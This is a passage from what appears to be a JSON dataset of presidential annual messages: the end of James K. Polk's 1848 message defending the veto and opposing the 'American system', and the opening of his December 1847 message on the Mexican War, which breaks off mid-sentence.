inception by many of our ablest\nstatesmen, some of whom doubted its constitutionality and its expediency,\nwhile others believed it was in all its branches a flagrant and dangerous\ninfraction of the Constitution.That a national bank, a protective tariff--levied not to raise the revenue\nneeded, but for protection merely--internal improvements, and the\ndistribution of the proceeds of the sale of the public lands are measures\nwithout the warrant of the Constitution would, upon the maturest\nconsideration, seem to be clear. It is remarkable that no one of these\nmeasures, involving such momentous consequences, is authorized by any\nexpress grant of power in the Constitution. No one of them is \"incident to,\nas being necessary and proper for the execution of, the specific powers\"\ngranted by the Constitution. The authority under which it has been\nattempted to justify each of them is derived from inferences and\nconstructions of the Constitution which its letter and its whole object and\ndesign do not warrant. Is it to be conceived that such immense powers would\nhave been left by the framers of the Constitution to mere inferences and\ndoubtful constructions? Had it been intended to confer them on the Federal\nGovernment, it is but reasonable to conclude that it would have been done\nby plain and unequivocal grants. This was not done; but the whole structure\nof which the \"American system\" consisted was reared on no other or better\nfoundation than forced implications and inferences of power, which its\nauthors assumed might be deduced by construction from the Constitution.But it has been urged that the national bank, which constituted so\nessential a branch of this combined system of measures, was not a new\nmeasure, and that its constitutionality had been previously sanctioned,\nbecause a bank had been chartered in 1791 and had received the official\nsignature of President Washington. A few facts will show the just weight to\nwhich this precedent should be entitled as bearing upon the question of\nconstitutionality.Great division of opinion upon the subject existed in Congress. It is well\nknown that President Washington entertained serious doubts both as to the\nconstitutionality and expediency of the measure, and while the bill was\nbefore him for his official approval or disapproval so great were these\ndoubts that he required \"the opinion in writing\" of the members of his\nCabinet to aid him in arriving at a decision. His Cabinet gave their\nopinions and were divided upon the subject, General Hamilton being in favor\nof and Mr. Jefferson and Mr. Randolph being opposed to the\nconstitutionality and expediency of the bank. It is well known also that\nPresident Washington retained the bill from Monday, the 14th, when it was\npresented to him, until Friday, the 25th of February, being the last moment\npermitted him by the Constitution to deliberate, when he finally yielded to\nit his reluctant assent and gave it his signature. It is certain that as\nlate as the 23d of February, being the ninth day after the bill was\npresented to him, he had arrived at no satisfactory conclusion, for on that\nday he addressed a note to General Hamilton in which he informs him that\n\"this bill was presented to me by the joint committee of Congress at 12\no'clock on Monday, the 14th instant,\" and he requested his opinion \"to what\nprecise period, by legal interpretation of the Constitution, can the\nPresident retain it in his possession before it becomes a law by the lapse\nof ten days.\" If the proper construction was that the day on which the bill\nwas presented to the President and the day on which his action was had upon\nit were both to be counted inclusive, then the time allowed him within\nwhich it would be competent for him to return it to the House in which it\noriginated with his objections would expire on Thursday, the 24th of\nFebruary. General Hamilton on the same day returned an answer, in which he\nstates:I give it as my opinion that you have ten days exclusive of that on which\nthe bill was delivered to you and Sundays; hence, in the present case if it\nis returned on Friday it will be in time.By this construction, which the President adopted, he gained another day\nfor deliberation, and it was not until the 25th of February that he signed\nthe bill, thus affording conclusive proof that he had at last obtained his\nown consent to sign it not without great and almost insuperable difficulty.\nAdditional light has been recently shed upon the serious doubts which he\nhad on the subject, amounting at one time to a conviction that it was his\nduty to withhold his approval from the bill. This is found among the\nmanuscript papers of Mr. Madison, authorized to be purchased for the use of\nthe Government by an act of the last session of Congress, and now for the\nfirst time accessible to the public. From these papers it appears that\nPresident Washington, while he yet held the bank bill in his hands,\nactually requested Mr. Madison, at that time a member of the House of\nRepresentatives, to prepare the draft of a veto message for him. Mr.\nMadison, at his request, did prepare the draft of such a message, and sent\nit to him on the 21st of February, 1791. A copy of this original draft, in\nMr. Madison's own handwriting, was carefully preserved by him, and is among\nthe papers lately purchased by Congress. It is preceded by a note, written\non the same sheet, which is also in Mr. Madison's handwriting, and is as\nfollows:February 21, 1791.--Copy of a paper made out and sent to the President, at\nhis request, to be ready in case his judgment should finally decide against\nthe bill for incorporating a national bank, the bill being then before\nhim.Among the objections assigned in this paper to the bill, and which were\nsubmitted for the consideration of the President, are the following:I object to the bill, because it is an essential principle of the\nGovernment that powers not delegated by the Constitution can not be\nrightfully exercised; because the power proposed by the bill to be\nexercised is not expressly delegated, and because I can not satisfy myself\nthat it results from any express power by fair and safe rules of\ninterpretation.The weight of the precedent of the bank of 1791 and the sanction of the\ngreat name of Washington, which has been so often invoked in its support,\nare greatly weakened by the development of these facts.The experiment of that bank satisfied the country that it ought not to be\ncontinued, and at the end of twenty years Congress refused to recharter it.\nIt would have been fortunate for the country, and saved thousands from\nbankruptcy and ruin, had our public men of 1816 resisted the temporary\npressure of the times upon our financial and pecuniary interests and\nrefused to charter the second bank. Of this the country became abundantly\nsatisfied, and at the close of its twenty years' duration, as in the case\nof the first bank, it also ceased to exist. Under the repeated blows of\nPresident Jackson it reeled and fell, and a subsequent attempt to charter a\nsimilar institution was arrested by the veto of President Tyler.Mr. Madison, in yielding his signature to the charter of 1816, did so upon\nthe ground of the respect due to precedents; and, as he subsequently\ndeclared--The Bank of the United States, though on the original question held to be\nunconstitutional, received the Executive signature.It is probable that neither the bank of 1791 nor that of 1816 would have\nbeen chartered but for the embarrassments of the Government in its\nfinances, the derangement of the currency, and the pecuniary pressure which\nexisted, the first the consequence of the War of the Revolution and the\nsecond the consequence of the War of 1812. Both were resorted to in the\ndelusive hope that they would restore public credit and afford relief to\nthe Government and to the business of the country.Those of our public men who opposed the whole \"American system\" at its\ncommencement and throughout its progress foresaw and predicted that it was\nfraught with incalculable mischiefs and must result in serious injury to\nthe best interests of the country. For a series of years their wise\ncounsels were unheeded, and the system was established. It was soon\napparent that its practical operation was unequal and unjust upon different\nportions of the country and upon the people engaged in different pursuits.\nAll were equally entitled to the favor and protection of the Government. It\nfostered and elevated the money power and enriched the favored few by\ntaxing labor, and at the expense of the many. Its effect was to \"make the\nrich richer and the poor poorer.\" Its tendency was to create distinctions\nin society based on wealth and to give to the favored classes undue control\nand sway in our Government. It was an organized money power, which resisted\nthe popular will and sought to shape and control the public policy.Under the pernicious workings of this combined system of measures the\ncountry witnessed alternate seasons of temporary apparent prosperity, of\nsudden and disastrous commercial revulsions, of unprecedented fluctuation\nof prices and depression of the great interests of agriculture, navigation,\nand commerce, of general pecuniary suffering, and of final bankruptcy of\nthousands. After a severe struggle of more than a quarter of a century, the\nsystem was overthrown.The bank has been succeeded by a practical system of finance, conducted and\ncontrolled solely by the Government. The constitutional currency has been\nrestored, the public credit maintained unimpaired even in a period of a\nforeign war, and the whole country has become satisfied that banks,\nnational or State, are not necessary as fiscal agents of the Government.\nRevenue duties have taken the place of the protective tariff. The\ndistribution of the money derived from the sale of the public lands has\nbeen abandoned and the corrupting system of internal improvements, it is\nhoped, has been effectually checked.It is not doubted that if this whole train of measures, designed to take\nwealth from the many and bestow it upon the few, were to prevail the effect\nwould be to change the entire character of the Government. One only danger\nremains. It is the seductions of that branch of the system which consists\nin internal improvements, holding out, as it does, inducements to the\npeople of particular sections and localities to embark the Government in\nthem without stopping to calculate the inevitable consequences. This branch\nof the system is so intimately combined and linked with the others that as\nsurely as an effect is produced by an adequate cause, if it be resuscitated\nand revived and firmly established it requires no sagacity to foresee that\nit will necessarily and speedily draw after it the reestablishment of a\nnational bank, the revival of a protective tariff, the distribution of the\nland money, and not only the postponement to the distant future of the\npayment of the present national debt, but its annual increase.I entertain the solemn conviction that if the internal-improvement branch\nof the \"American system\" be not firmly resisted at this time the whole\nseries of measures composing it will be speedily reestablished and the\ncountry be thrown back from its present high state of prosperity, which the\nexisting policy has produced, and be destined again to witness all the\nevils, commercial revulsions, depression of prices, and pecuniary\nembarrassments through which we have passed during the last twenty-five\nyears.To guard against consequences so ruinous is an object of high national\nimportance, involving, in my judgment, the continued prosperity of the\ncountry.I have felt it to be an imperative obligation to withhold my constitutional\nsanction from two bills which had passed the two Houses of Congress,\ninvolving the principle of the internal improvement branch of the \"American\nsystem\" and conflicting in their provisions with the views here expressed.This power, conferred upon the President by the Constitution, I have on\nthree occasions during my administration of the executive department of the\nGovernment deemed it my duty to exercise, and on this last occasion of\nmaking to Congress an annual communication \"of the state of the Union\" it\nis not deemed inappropriate to review the principles and considerations\nwhich have governed my action. I deem this the more necessary because,\nafter the lapse of nearly sixty years since the adoption of the\nConstitution, the propriety of the exercise of this undoubted\nconstitutional power by the President has for the first time been drawn\nseriously in question by a portion of my fellow-citizens.The Constitution provides that--Every bill which shall have passed the House of Representatives and the\nSenate shall, before it become a law, be presented to the President of the\nUnited States. If he approve he shall sign it, but if not he shall return\nit with his objections to that House in which it shall have originated, who\nshall enter the objections at large on their Journal and proceed to\nreconsider it.The preservation of the Constitution from infraction is the President's\nhighest duty. He is bound to discharge that duty at whatever hazard of\nincurring the displeasure of those who may differ with him in opinion. He\nis bound to discharge it as well by his obligations to the people who have\nclothed him with his exalted trust as by his oath of office, which he may\nnot disregard. Nor are the obligations of the President in any degree\nlessened by the prevalence of views different from his own in one or both\nHouses of Congress. It is not alone hasty and inconsiderate legislation\nthat he is required to check; but if at any time Congress shall, after\napparently full deliberation, resolve on measures which he deems subversive\nof the Constitution or of the vital interests of the country, it is his\nsolemn duty to stand in the breach and resist them. The President is bound\nto approve or disapprove every bill which passes Congress and is presented\nto him for his signature. The Constitution makes this his duty, and he can\nnot escape it if he would. He has no election. In deciding upon any bill\npresented to him he must exercise his own best judgment. If he can not\napprove, the Constitution commands him to return the bill to the House in\nwhich it originated with his objections, and if he fail to do this within\nten days (Sundays excepted) it shall become a law without his signature.\nRight or wrong, he may be overruled by a vote of two-thirds of each House,\nand in that event the bill becomes a law without his sanction. If his\nobjections be not thus overruled, the subject is only postponed, and is\nreferred to the States and the people for their consideration and decision.\nThe President's power is negative merely, and not affirmative. He can enact\nno law. The only effect, therefore, of his withholding his approval of a\nbill passed by Congress is to suffer the existing laws to remain unchanged,\nand the delay occasioned is only that required to enable the States and the\npeople to consider and act upon the subject in the election of public\nagents who will carry out their wishes and instructions. Any attempt to\ncoerce the President to yield his sanction to measures which he can not\napprove would be a violation of the spirit of the Constitution, palpable\nand flagrant, and if successful would break down the independence of the\nexecutive department and make the President, elected by the people and\nclothed by the Constitution with power to defend their rights, the mere\ninstrument of a majority of Congress. A surrender on his part of the powers\nwith which the Constitution has invested his office would effect a\npractical alteration of that instrument without resorting to the prescribed\nprocess of amendment.With the motives or considerations which may induce Congress to pass any\nbill the President can have nothing to do. He must presume them to be as\npure as his own, and look only to the practical effect of their measures\nwhen compared with the Constitution or the public good.But it has been urged by those who object to the exercise of this undoubted\nconstitutional power that it assails the representative principle and the\ncapacity of the people to govern themselves; that there is greater safety\nin a numerous representative body than in the single Executive created by\nthe Constitution, and that the Executive veto is a \"one-man power,\"\ndespotic in its character. To expose the fallacy of this objection it is\nonly necessary to consider the frame and true character of our system. Ours\nis not a consolidated empire, but a confederated union. The States before\nthe adoption of the Constitution were coordinate, co-equal, and separate\nindependent sovereignties, and by its adoption they did not lose that\ncharacter. They clothed the Federal Government with certain powers and\nreserved all others, including their own sovereignty, to themselves. They\nguarded their own rights as States and the rights of the people by the very\nlimitations which they incorporated into the Federal Constitution, whereby\nthe different departments of the General Government were checks upon each\nother. That the majority should govern is a general principle controverted\nby none, but they must govern according to the Constitution, and not\naccording to an undefined and unrestrained discretion, whereby they may\noppress the minority.The people of the United States are not blind to the fact that they may be\ntemporarily misled, and that their representatives, legislative and\nexecutive, may be mistaken or influenced in their action by improper\nmotives. They have therefore interposed between themselves and the laws\nwhich may be passed by their public agents various representations, such as\nassemblies, senates, and governors in their several States, a House of\nRepresentatives, a Senate, and a President of the United States. The people\ncan by their own direct agency make no law, nor can the House of\nRepresentatives, immediately elected by them, nor can the Senate, nor can\nboth together without the concurrence of the President or a vote of\ntwo-thirds of both Houses.Happily for themselves, the people in framing our admirable system of\ngovernment were conscious of the infirmities of their representatives, and\nin delegating to them the power of legislation they have fenced them around\nwith checks to guard against the effects of hasty action, of error, of\ncombination, and of possible corruption. Error, selfishness, and faction\nhave often sought to rend asunder this web of checks and subject the\nGovernment to the control of fanatic and sinister influences, but these\nefforts have only satisfied the people of the wisdom of the checks which\nthey have imposed and of the necessity of preserving them unimpaired.The true theory of our system is not to govern by the acts or decrees of\nany one set of representatives. The Constitution interposes checks upon all\nbranches of the Government, in order to give time for error to be corrected\nand delusion to pass away; but if the people settle down into a firm\nconviction different from that of their representatives they give effect to\ntheir opinions by changing their public servants. The checks which the\npeople imposed on their public servants in the adoption of the Constitution\nare the best evidence of their capacity for self-government. They know that\nthe men whom they elect to public stations are of like infirmities and\npassions with themselves, and not to be trusted without being restricted by\ncoordinate authorities and constitutional limitations. Who that has\nwitnessed the legislation of Congress for the last thirty years will say\nthat he knows of no instance in which measures not demanded by the public\ngood have been carried? Who will deny that in the State governments, by\ncombinations of individuals and sections, in derogation of the general\ninterest, banks have been chartered, systems of internal improvements\nadopted, and debts entailed upon the people repressing their growth and\nimpairing their energies for years to come?After so much experience it can not be said that absolute unchecked power\nis safe in the hands of any one set of representatives, or that the\ncapacity of the people for self-government, which is admitted in its\nbroadest extent, is a conclusive argument to prove the prudence, wisdom,\nand integrity of their representatives.The people, by the Constitution, have commanded the President, as much as\nthey have commanded the legislative branch of the Government, to execute\ntheir will. They have said to him in the Constitution, which they require\nhe shall take a solemn oath to support, that if Congress pass any bill\nwhich he can not approve \"he shall return it to the House in which it\noriginated with his objections.\" In withholding from it his approval and\nsignature he is executing the will of the people, constitutionally\nexpressed, as much as the Congress that passed it. No bill is presumed to\nbe in accordance with the popular will until it shall have passed through\nall the branches of the Government required by the Constitution to make it\na law. A bill which passes the House of Representatives may be rejected by\nthe Senate, and so a bill passed by the Senate may be rejected by the\nHouse. In each case the respective Houses exercise the veto power on the\nother.Congress, and each House of Congress, hold under the Constitution a check\nupon the President, and he, by the power of the qualified veto, a check\nupon Congress. When the President recommends measures to Congress, he avows\nin the most solemn form his opinions, gives his voice in their favor, and\npledges himself in advance to approve them if passed by Congress. If he\nacts without due consideration, or has been influenced by improper or\ncorrupt motives, or if from any other cause Congress, or either House of\nCongress, shall differ with him in opinion, they exercise their veto upon\nhis recommendations and reject them; and there is no appeal from their\ndecision but to the people at the ballot box. These are proper checks upon\nthe Executive, wisely interposed by the Constitution. None will be found to\nobject to them or to wish them removed. It is equally important that the\nconstitutional checks of the Executive upon the legislative branch should\nbe preserved.If it be said that the Representatives in the popular branch of Congress\nare chosen directly by the people, it is answered, the people elect the\nPresident. If both Houses represent the States and the people, so does the\nPresident. The President represents in the executive department the whole\npeople of the United States, as each member of the legislative department\nrepresents portions of them.The doctrine of restriction upon legislative and executive power, while a\nwell-settled public opinion is enabled within a reasonable time to\naccomplish its ends, has made our country what it is, and has opened to us\na career of glory and happiness to which all other nations have been\nstrangers.In the exercise of the power of the veto the President is responsible not\nonly to an enlightened public opinion, but to the people of the whole\nUnion, who elected him, as the representatives in the legislative branches\nwho differ with him in opinion are responsible to the people of particular\nStates or districts, who compose their respective constituencies. To deny\nto the President the exercise of this power would be to repeal that\nprovision of the Constitution which confers it upon him. To charge that its\nexercise unduly controls the legislative will is to complain of the\nConstitution itself.If the Presidential veto be objected to upon the ground that it checks and\nthwarts the popular will, upon the same principle the equality of\nrepresentation of the States in the Senate should be stricken out of the\nConstitution. The vote of a Senator from Delaware has equal weight in\ndeciding upon the most important measures with the vote of a Senator from\nNew York, and yet the one represents a State containing, according to the\nexisting apportionment of Representatives in the House of Representatives,\nbut one thirty-fourth part of the population of the other. By the\nconstitutional composition of the Senate a majority of that body from the\nsmaller States represent less than one-fourth of the people of the Union.\nThere are thirty States, and under the existing apportionment of\nRepresentatives there are 230 Members in the House of Representatives.\nSixteen of the smaller States are represented in that House by but 50\nMembers, and yet the Senators from these States constitute a majority of\nthe Senate. So that the President may recommend a measure to Congress, and\nit may receive the sanction and approval of more than three-fourths of the\nHouse of Representatives and of all the Senators from the large States,\ncontaining more than three-fourths of the whole population of the United\nStates, and yet the measure may be defeated by the votes of the Senators\nfrom the smaller States. None, it is presumed, can be found ready to change\nthe organization of the Senate on this account, or to strike that body\npractically out of existence by requiring that its action shall be\nconformed to the will of the more numerous branch.Upon the same principle that the veto of the President should be\npractically abolished the power of the Vice-President to give the casting\nvote upon an equal division of the Senate should be abolished also. The\nVice-President exercises the veto power as effectually by rejecting a bill\nby his casting vote as the President does by refusing to approve and sign\nit. This power has been exercised by the Vice-President in a few instances,\nthe most important of which was the rejection of the bill to recharter the\nBank of the United States in 1811. It may happen that a bill may be passed\nby a large majority of the House of Representatives, and may be supported\nby the Senators from the larger States, and the Vice-President may reject\nit by giving his vote with the Senators from the smaller States; and yet\nnone, it is presumed, are prepared to deny to him the exercise of this\npower under the Constitution.But it is, in point of fact, untrue that an act passed by Congress is\nconclusive evidence that it is an emanation of the popular will. A majority\nof the whole number elected to each House of Congress constitutes a quorum,\nand a majority of that quorum is competent to pass laws. It might happen\nthat a quorum of the House of Representatives, consisting of a single\nmember more than half of the whole number elected to that House, might pass\na bill by a majority of a single vote, and in that case a fraction more\nthan one-fourth of the people of the United States would be represented by\nthose who voted for it. It might happen that the same bill might be passed\nby a majority of one of a quorum of the Senate, composed of Senators from\nthe fifteen smaller States and a single Senator from a sixteenth State; and\nif the Senators voting for it happened to be from the eight of the smallest\nof these States, it would be passed by the votes of Senators from States\nhaving but fourteen Representatives in the House of Representatives, and\ncontaining less than one-sixteenth of the whole population of the United\nStates. This extreme case is stated to illustrate the fact that the mere\npassage of a bill by Congress is no conclusive evidence that those who\npassed it represent the majority of the people of the United States or\ntruly reflect their will. If such an extreme case is not likely to happen,\ncases that approximate it are of constant occurrence. It is believed that\nnot a single law has been passed since the adoption of the Constitution\nupon which all the members elected to both Houses have been present and\nvoted. Many of the most important acts which have passed Congress have been\ncarried by a close vote in thin Houses. Many instances of this might be\ngiven. Indeed, our experience proves that many of the most important acts\nof Congress are postponed to the last days, and often the last hours, of a\nsession, when they are disposed of in haste, and by Houses but little\nexceeding the number necessary to form a quorum.Besides, in most of the States the members of the House of Representatives\nare chosen by pluralities, and not by majorities of all the voters in their\nrespective districts, and it may happen that a majority of that House may\nbe returned by a less aggregate vote of the people than that received by\nthe minority.If the principle insisted on be sound, then the Constitution should be so\nchanged that no bill shall become a law unless it is voted for by members\nrepresenting in each House a majority of the whole people of the United\nStates. We must remodel our whole system, strike down and abolish not only\nthe salutary checks lodged in the executive branch, but must strike out and\nabolish those lodged in the Senate also, and thus practically invest the\nwhole power of the Government in a majority of a single assembly--a\nmajority uncontrolled and absolute, and which may become despotic. To\nconform to this doctrine of the right of majorities to rule, independent of\nthe checks and limitations of the Constitution, we must revolutionize our\nwhole system; we must destroy the constitutional compact by which the\nseveral States agreed to form a Federal Union and rush into consolidation,\nwhich must end in monarchy or despotism. No one advocates such a\nproposition, and yet the doctrine maintained, if carried out, must lead to\nthis result.One great object of the Constitution in conferring upon the President a\nqualified negative upon the legislation of Congress was to protect\nminorities from injustice and oppression by majorities. The equality of\ntheir representation in the Senate and the veto power of the President are\nthe constitutional guaranties which the smaller States have that their\nrights will be respected. Without these guaranties all their interests\nwould be at the mercy of majorities in Congress representing the larger\nStates. To the smaller and weaker States, therefore, the preservation of\nthis power and its exercise upon proper occasions demanding it is of vital\nimportance. They ratified the Constitution and entered into the Union,\nsecuring to themselves an equal representation with the larger States in\nthe Senate; and they agreed to be bound by all laws passed by Congress upon\nthe express condition, and none other, that they should be approved by the\nPresident or passed, his objections to the contrary notwithstanding, by a\nvote of two-thirds of both Houses. Upon this condition they have a right to\ninsist as a part of the compact to which they gave their assent.A bill might be passed by Congress against the will of the whole people of\na particular State and against the votes of its Senators and all its\nRepresentatives. However prejudicial it might be to the interests of such\nState, it would be bound by it if the President shall approve it or it\nshall be passed by a vote of two-thirds of both Houses; but it has a right\nto demand that the President shall exercise his constitutional power and\narrest it if his judgment is against it. If he surrender this power, or\nfail to exercise it in a case where he can not approve, it would make his\nformal approval a mere mockery, and would be itself a violation of the\nConstitution, and the dissenting State would become bound by a law which\nhad not been passed according to the sanctions of the Constitution.The objection to the exercise of the veto power is founded upon an idea\nrespecting the popular will, which, if carried out, would annihilate State\nsovereignty and substitute for the present Federal Government a\nconsolidation directed by a supposed numerical majority. A revolution of\nthe Government would be silently effected and the States would be subjected\nto laws to which they had never given their constitutional consent.The Supreme Court of the United States is invested with the power to\ndeclare, and has declared, acts of Congress passed with the concurrence of\nthe Senate, the House of Representatives, and the approval of the President\nto be unconstitutional and void, and yet none, it is presumed, can be found\nwho will be disposed to strip this highest judicial tribunal under the\nConstitution of this acknowledged power--a power necessary alike to its\nindependence and the rights of individuals.For the same reason that the Executive veto should, according to the\ndoctrine maintained, be rendered nugatory, and be practically expunged from\nthe Constitution, this power of the court should also be rendered nugatory\nand be expunged, because it restrains the legislative and Executive will,\nand because the exercise of such a power by the court may be regarded as\nbeing in conflict with the capacity of the people to govern themselves.\nIndeed, there is more reason for striking this power of the court from the\nConstitution than there is that of the qualified veto of the president,\nbecause the decision of the court is final, and can never be reversed even\nthough both Houses of Congress and the President should be unanimous in\nopposition to it, whereas the veto of the President may be overruled by a\nvote of two-thirds of both Houses of Congress or by the people at the\npolls.It is obvious that to preserve the system established by the Constitution\neach of the coordinate branches of the Government--the executive,\nlegislative, and judicial--must be left in the exercise of its appropriate\npowers. If the executive or the judicial branch be deprived of powers\nconferred upon either as checks on the legislative, the preponderance of\nthe latter will become disproportionate and absorbing and the others\nimpotent for the accomplishment of the great objects for which they were\nestablished. Organized, as they are, by the Constitution, they work\ntogether harmoniously for the public good. If the Executive and the\njudiciary shall be deprived of the constitutional powers invested in them,\nand of their due proportions, the equilibrium of the system must be\ndestroyed, and consolidation, with the most pernicious results, must\nensue--a consolidation of unchecked, despotic power, exercised by\nmajorities of the legislative branch.The executive, legislative, and judicial each constitutes a separate\ncoordinate department of the Government, and each is independent of the\nothers. In the performance of their respective duties under the\nConstitution neither can in its legitimate action control the others. They\neach act upon their several responsibilities in their respective spheres.\nBut if the doctrines now maintained be correct, the executive must become\npractically subordinate to the legislative, and the judiciary must become\nsubordinate to both the legislative and the executive; and thus the whole\npower of the Government would be merged in a single department. Whenever,\nif ever, this shall occur, our glorious system of well-regulated\nself-government will crumble into ruins, to be succeeded, first by anarchy,\nand finally by monarchy or despotism. I am far from believing that this\ndoctrine is the sentiment of the American people; and during the short\nperiod which remains in which it will be my duty to administer the\nexecutive department it will be my aim to maintain its independence and\ndischarge its duties without infringing upon the powers or duties of either\nof the other departments of the Government.The power of the Executive veto was exercised by the first and most\nillustrious of my predecessors and by four of his successors who preceded\nme in the administration of the Government, and it is believed in no\ninstance prejudicially to the public interests. It has never been and there\nis but little danger that it ever can be abused. No President will ever\ndesire unnecessarily to place his opinion in opposition to that of\nCongress. He must always exercise the power reluctantly, and only in cases\nwhere his convictions make it a matter of stern duty, which he can not\nescape. Indeed, there is more danger that the President, from the\nrepugnance he must always feel to come in collision with Congress, may fail\nto exercise it in cases where the preservation of the Constitution from\ninfraction, or the public good, may demand it than that he will ever\nexercise it unnecessarily or wantonly.During the period I have administered the executive department of the\nGovernment great and important questions of public policy, foreign and\ndomestic, have arisen, upon which it was my duty to act. It may, indeed, be\ntruly said that my Administration has fallen upon eventful times. I have\nfelt most sensibly the weight of the high responsibilities devolved upon\nme. With no other object than the public good, the enduring fame, and\npermanent prosperity of my country, I have pursued the convictions of my\nown best judgment. The impartial arbitrament of enlightened public opinion,\npresent and future, will determine how far the public policy I have\nmaintained and the measures I have from time to time recommended may have\ntended to advance or retard the public prosperity at home and to elevate or\ndepress the estimate of our national character abroad.Invoking the blessings of the Almighty upon your deliberations at your\npresent important session, my ardent hope is that in a spirit of harmony\nand concord you may be guided to wise results, and such as may redound to\nthe happiness, the honor, and the glory of our beloved country.JAMES K. POLK", 
+    "name": "James Polk"
+}
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+{
+    "date": "December 7, 1847", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The annual meeting of Congress is always an interesting event. The\nrepresentatives of the States and of the people come fresh from their\nconstituents to take counsel together for the common good.After an existence of near three-fourths of a century as a free and\nindependent Republic, the problem no longer remains to be solved whether\nman is capable of self-government. The success of our admirable system is a\nconclusive refutation of the theories of those in other countries who\nmaintain that a \"favored few\" are born to rule and that the mass of mankind\nmust be governed by force. Subject to no arbitrary or hereditary authority,\nthe people are the only sovereigns recognized by our Constitution.Numerous emigrants, of every lineage and language, attracted by the civil\nand religious freedom we enjoy and by our happy condition, annually crowd\nto our shores, and transfer their heart, not less than their allegiance, to\nthe country whose dominion belongs alone to the people. No country has been\nso much favored, or should acknowledge with deeper reverence the\nmanifestations of the divine protection. An all wise Creator directed and\nguarded us in our infant struggle for freedom and has constantly watched\nover our surprising progress until we have become one of the great nations\nof the earth.It is in a country thus favored, and under a Government in which the\nexecutive and legislative branches hold their authority for limited periods\nalike from the people, and where all are responsible to their respective\nconstituencies, that it is again my duty to communicate with Congress upon\nthe state of the Union and the present condition of public affairs.During the past year the most gratifying proofs are presented that our\ncountry has been blessed with a widespread and universal prosperity. There\nhas been no period since the Government was founded when all the industrial\npursuits of our people have been more successful or when labor in all\nbranches of business has received a fairer or better reward. From our\nabundance we have been enabled to perform the pleasing duty of furnishing\nfood for the starving millions of less favored countries.In the enjoyment of the bounties of Providence at home such as have rarely\nfallen to the lot of any people, it is cause of congratulation that our\nintercourse with all the powers of the earth except Mexico continues to be\nof an amicable character.It has ever been our cherished policy to cultivate peace and good will with\nall nations, and this policy has been steadily pursued by me. No change has\ntaken place in our relations with Mexico since the adjournment of the last\nCongress. The war in which the United States were forced to engage with the\nGovernment of that country still continues.I deem it unnecessary, after the full exposition of them contained in my\nmessage of the 11th of May, 1846, and in my annual message at the\ncommencement of the session of Congress in December last, to reiterate the\nserious causes of complaint which we had against Mexico before she\ncommenced hostilities.It is sufficient on the present occasion to say that the wanton violation\nof the rights of person and property of our citizens committed by Mexico,\nher repeated acts of bad faith through a long series of years, and her\ndisregard of solemn treaties stipulating for indemnity to our injured\ncitizens not only constituted ample cause of war on our part, but were of\nsuch an aggravated character as would have justified us before the whole\nworld in resorting to this extreme remedy. With an anxious desire to avoid\na rupture between the two countries, we forbore for years to assert our\nclear rights by force, and continued to seek redress for the wrongs we had\nsuffered by amicable negotiation in the hope that Mexico might yield to\npacific counsels and the demands of justice. In this hope we were\ndisappointed. Our minister of peace sent to Mexico was insultingly\nrejected. The Mexican Government refused even to hear the terms of\nadjustment which he was authorized to propose, and finally, under wholly\nunjustifiable pretexts, involved the two countries in war by invading the\nterritory of the State of Texas, striking the first blow, and shedding the\nblood of our citizens on our own soil.Though the United States were the aggrieved nation, Mexico commenced the\nwar, and we were compelled in self-defense to repel the invader and to\nvindicate the national honor and interests by prosecuting it with vigor\nuntil we could obtain a just and honorable peace. On learning that\nhostilities had been commenced by Mexico I promptly communicated that fact,\naccompanied with a succinct statement of our other causes of complaint\nagainst Mexico, to Congress, and that body, by the act of the 13th of May,\n1846, declared that \"by the act of the Republic of Mexico a state of war\nexists between that Government and the United States.\" This act declaring\n\"the war to exist by the act of the Republic of Mexico,\" and making\nprovision for its prosecution \"to a speedy and successful termination,\" was\npassed with great unanimity by Congress, there being but two negative votes\nin the Senate and but fourteen in the House of Representatives.The existence of the war having thus been declared by Congress, it became\nmy duty under the Constitution and the laws to conduct and prosecute it.\nThis duty has been performed, and though at every stage of its progress I\nhave manifested a willingness to terminate it by a just peace, Mexico has\nrefused to accede to any terms which could be accepted by the United States\nconsistently with the national honor and interest.The rapid and brilliant successes of our arms and the vast extent of the\nenemy's territory which had been overrun and conquered before the close of\nthe last session of Congress were fully known to that body. Since that time\nthe war has been prosecuted with increased energy, and, I am gratified to\nstate, with a success which commands universal admiration.. History\npresents no parallel of so many glorious victories achieved by any nation\nwithin so short a period. Our Army, regulars and volunteers, have covered\nthemselves with imperishable honors. Whenever and wherever our forces have\nencountered the enemy, though he was in vastly superior numbers and often\nintrenched in fortified positions of his own selection and of great\nstrength, he has been defeated. Too much praise can not be bestowed upon\nour officers and men, regulars and volunteers, for their gallantry,\ndiscipline, indomitable courage, and perseverance, all seeking the post of\ndanger and vying with each other in deeds of noble daring.While every patriot's heart must exult and a just national pride animate\nevery bosom in beholding the high proofs of courage, consummate military\nskill, steady discipline, and humanity to the vanquished enemy exhibited by\nour gallant Army, the nation is called to mourn over the loss of many brave\nofficers and soldiers, who have fallen in defense of their country's honor\nand interests. The brave dead met their melancholy fate in a foreign land,\nnobly discharging their duty, and with their country's flag waving\ntriumphantly in the face of the foe. Their patriotic deeds are justly\nappreciated, and will long be remembered by their grateful countrymen. The\nparental care of the Government they loved and served should be extended to\ntheir surviving families.Shortly after the adjournment of the last session of Congress the\ngratifying intelligence was received of the signal victory of Buena Vista,\nand of the fall of the city of Vera Cruz, and with it the strong castle of\nSan Juan de Ulloa, by which it was defended. Believing that after these and\nother successes so honorable to our arms and so disastrous to Mexico the\nperiod was propitious to afford her another opportunity, if she thought\nproper to embrace it, to enter into negotiations for peace, a commissioner\nwas appointed to proceed to the headquarters of our Army with full powers\nto enter upon negotiations and to conclude a just and honorable treaty of\npeace. He was not directed to make any new overtures of peace, but was the\nbearer of a dispatch from the Secretary of State of the United States to\nthe minister of foreign affairs of Mexico, in reply to one received from\nthe latter of the 22d of February, 1847, in which the Mexican Government\nwas informed of his appointment and of his presence at the headquarters of\nour Army, and that he was invested with full powers to conclude a\ndefinitive treaty of peace whenever the Mexican Government might signify a\ndesire to do so. While I was unwilling to subject the United States to\nanother indignant refusal, I was yet resolved that the evils of the war\nshould not be protracted a day longer than might be rendered absolutely\nnecessary by the Mexican Government.Care was taken to give no instructions to the commissioner which could in\nany way interfere with our military operations or relax our energies in the\nprosecution of the war. He possessed no authority in any manner to control\nthese operations. He was authorized to exhibit his instructions to the\ngeneral in command of the Army, and in the event of a treaty being\nconcluded and ratified on the part of Mexico he was directed to give him\nnotice of that fact. On the happening of such contingency, and on receiving\nnotice thereof, the general in command was instructed by the Secretary of\nWar to suspend further active military operations until further orders.\nThese 